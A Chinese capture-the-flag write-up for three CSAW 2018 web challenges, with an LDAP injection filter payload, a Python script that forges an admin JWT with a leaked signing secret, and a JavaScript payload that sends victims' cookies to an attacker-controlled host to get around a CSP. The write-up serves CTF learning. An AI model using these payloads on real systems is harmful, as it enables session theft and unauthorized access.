CSAW web部分wp

2018-09-17  本文已影响94人  wuli_decade

0x01 Ldab

image.png

Ldab????难道就是我前几天noxctf著名的Ldap注入

image.png
image.png

好了,参照noxctf的例子
尝试search=*


image.png

发现列出了跟没有search参数时的结果相同。个人觉得应该有一个GivenName是跟flag有关的。

阅读了Ldap有关过滤器的知识:

LDAP基础概念

想到拼接语句是否有可能为

(&(GivenName=" + $_GET['search'] + ")(GivenName!=flag))

根据这个,可以构造

*))(|(GivenName=*
image.png

0x02 sso

image.png
参考:理解OAuth 2.0
image.png

它的步骤如下:

(A)用户访问客户端,后者将前者导向认证服务器。

(B)用户选择是否给予客户端授权。

(C)假设用户给予授权,认证服务器将用户导向客户端事先指定的"重定向URI"(redirection URI),同时附上一个授权码。

(D)客户端收到授权码,附上早先的"重定向URI",向认证服务器申请令牌。这一步是在客户端的后台的服务器上完成的,对用户不可见。

(E)认证服务器核对了授权码和重定向URI,确认无误后,向客户端发送访问令牌(access token)和更新令牌(refresh token)。

下面是上面这些步骤所需要的参数。

A步骤中,客户端申请认证的URI,包含以下参数:

下面是一个例子。


GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz
        &redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
Host: server.example.com

C步骤中,服务器回应客户端的URI,包含以下参数:

下面是一个例子。


HTTP/1.1 302 Found
Location: https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA
          &state=xyz

D步骤中,客户端向认证服务器申请令牌的HTTP请求,包含以下参数:

下面是一个例子。


POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb

E步骤中,认证服务器发送的HTTP回复,包含以下参数:

下面是一个例子。


     HTTP/1.1 200 OK
     Content-Type: application/json;charset=UTF-8
     Cache-Control: no-store
     Pragma: no-cache

     {
       "access_token":"2YotnFZFEjr1zCsicMWpAA",
       "token_type":"example",
       "expires_in":3600,
       "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
       "example_parameter":"example_value"
     }

从上面代码可以看到,相关参数使用JSON格式发送(Content-Type: application/json)。此外,HTTP头信息中明确指定不得缓存。
下面直接送上脚本:

import requests
import jwt
import time


#Authorization Request
code = requests.post("http://web.chal.csaw.io:9000/oauth2/authorize", headers={"Content-Type": "application/json"}, json={"response_type":"code","redirect_uri":"http://web.chal.csaw.io:9000/protected"}, allow_redirects=False).text

#print(code)
#print('\n')
code = code.split("protected?code=")[1].split("&")[0]

#print(code)
#print('\n')
#Access Token Request
r = requests.post("http://web.chal.csaw.io:9000/oauth2/token", json={"grant_type":"authorization_code","code": code,"redirect_uri":"http://web.chal.csaw.io:9000/protected"}).text

#print(r)
#print('\n')
token = r.split('"')[7]
#print(token)
#print('\n')
#Modifing Token as admin
res= jwt.decode(token, 'ufoundme!', algorithms=['HS256'])

#print(res['iat'])
#print('\n')

#print(res['exp'])
#print('\n')

unix_ts = int(time.time())
flag_window = 600
res['iat'] = unix_ts
res['exp'] = unix_ts + flag_window


#print(res['iat'])
#print('\n')

#print(res['exp'])
#print('\n')
token = jwt.encode({'type': 'admin', 'secret': 'ufoundme!', 'iat': res['iat'], 'exp': res['exp']}, 'ufoundme!', algorithm='HS256')

#print(token)
#print('\n')

#Final Request

req = requests.get("http://web.chal.csaw.io:9000/protected", headers={"Authorization": "Bearer " + str(token)}).text
print(req)

这里有一个很坑的地方就是,生成jwt不能在windows生成,具体原因不清楚。


image.png image.png

0x03 No Vulnerable Services

image.png

可以看到有一个CSP策略,与此同时,可以看到有

X-Served By: d8a50228.ip.no.vulnerable.services

这个给了我们提示,通过ip->16进制绕过CSP。
将下面脚本放置服务器端

var img = document.createElement("img");
img.src = "http://{serverip(16)}.ip.no.vulnerable.services/?cookie=" + encodeURI(document.cookie);
document.body.appendChild(img);
<script type="text/javascript" src="//{serverip(16)}.ip.no.vulnerable.services/main.js"></script>
image.png image.png

拿着这个cookie访问http://admin.no.vulnerable.services,可以看到有两个链接

image.png

访问admin.no.vulnerable.services/lb.php


image.png

访问support.no.vulnerable.services失败

访问http://216.165.2.41/


image.png

这一步卡了很久
修改HOST:support.no.vulnerable.services


image.png

尝试使用前面的方法,找到ip


image.png

修改HOST :ac100205.ip.no.vulnerable.services


image.png

这里有一个ping功能,是一个命令执行


image.png image.png
上一篇 下一篇

猜你喜欢

热点阅读